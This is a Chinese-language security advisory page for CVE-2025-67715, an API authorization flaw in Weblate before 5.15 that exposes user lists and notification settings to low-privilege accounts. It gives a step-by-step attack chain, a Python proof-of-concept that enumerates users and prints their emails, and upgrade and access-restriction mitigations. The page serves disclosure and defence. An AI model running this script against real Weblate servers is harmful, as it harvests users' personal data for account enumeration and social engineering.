IPBUF安全漏洞报告
English
CVE-2025-67715 CVSS 4.3 中危

CVE-2025-67715: Weblate 5.15之前版本API未授权访问漏洞

披露日期: 2025-12-16

漏洞信息

漏洞编号
CVE-2025-67715
漏洞类型
授权绕过/信息泄露
CVSS评分
4.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Weblate

相关标签

授权绕过信息泄露API安全WeblateCVE-2025-67715权限控制

漏洞概述

CVE-2025-67715是Weblate localization工具中的一个安全漏洞。在5.15之前的版本中,由于API权限控制不当,低权限用户可以通过API接口未授权访问其他用户的通知设置,以及列出系统中所有用户的信息。该漏洞的CVSS评分为4.3,属于中等严重程度,主要影响系统的机密性。攻击者无需特殊用户交互即可利用此漏洞,可通过网络远程发起攻击。此漏洞由GitHub安全团队发现并报告,官方已在5.15版本中修复了相关权限校验问题。

技术细节

该漏洞存在于Weblate的API端点权限验证逻辑中。在受影响版本中,API接口缺少充分的权限检查,导致具有低权限(如普通用户权限)的攻击者可以通过构造特定的API请求,获取本应需要更高权限才能访问的用户数据。具体来说:1) 通过API可以获取任意用户的通知设置,包括邮箱、通知偏好等敏感信息;2) 可以列出服务器上的所有用户账户信息,包括用户名、邮箱等。攻击者利用此漏洞可获取目标系统的用户信息,用于进一步的社会工程攻击或账户枚举。CVSS向量显示攻击复杂度低(AC:L),需要低权限(PR:L),但无需用户交互(UI:N),机密性影响为低(C:L)。

攻击链分析

STEP 1
步骤1
攻击者获取或注册Weblate平台的一个低权限用户账户
STEP 2
步骤2
攻击者使用该低权限账户的API Token构造HTTP请求
STEP 3
步骤3
攻击者向/api/users/或/api/notifications/等API端点发送GET请求
STEP 4
步骤4
由于API缺少权限校验,请求成功返回所有用户列表或目标用户的通知设置
STEP 5
步骤5
攻击者收集用户信息(用户名、邮箱),用于后续社会工程攻击或账户枚举

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import json # CVE-2025-67715 PoC - Weblate API Unauthorized Access # Target: Weblate < 5.15 TARGET_URL = "http://target-weblate-server.com" API_TOKEN = "your-low-privilege-user-token" headers = { "Authorization": f"Token {API_TOKEN}", "Content-Type": "application/json" } # PoC 1: List all users via API def list_all_users(): """ Exploit to list all users through API endpoint """ endpoint = f"{TARGET_URL}/api/users/" response = requests.get(endpoint, headers=headers) if response.status_code == 200: users = response.json() print(f"[+] Successfully retrieved user list: {len(users)} users") for user in users: print(f" - Username: {user.get('username')}, Email: {user.get('email')}") return users else: print(f"[-] Failed to list users: {response.status_code}") return None # PoC 2: Get user notification settings def get_user_notifications(user_id): """ Exploit to retrieve user notification settings """ endpoint = f"{TARGET_URL}/api/notifications/{user_id}/" response = requests.get(endpoint, headers=headers) if response.status_code == 200: settings = response.json() print(f"[+] Successfully retrieved notification settings for user {user_id}") print(f" Settings: {json.dumps(settings, indent=2)}") return settings else: print(f"[-] Failed to get notifications: {response.status_code}") return None if __name__ == "__main__": print("[*] CVE-2025-67715 PoC - Weblate < 5.15 API Unauthorized Access") print("[*] Testing user enumeration...") list_all_users() print("\n[*] Testing notification settings access...") get_user_notifications(1)

影响范围

Weblate < 5.15

防御指南

临时缓解措施
立即将Weblate升级到5.15版本以修复API权限校验问题。如果无法立即升级,可通过配置Web服务器(如Nginx)限制对/api/路径的访问,仅允许受信任的IP地址访问API端点,并启用详细的API访问日志以便及时发现异常查询行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表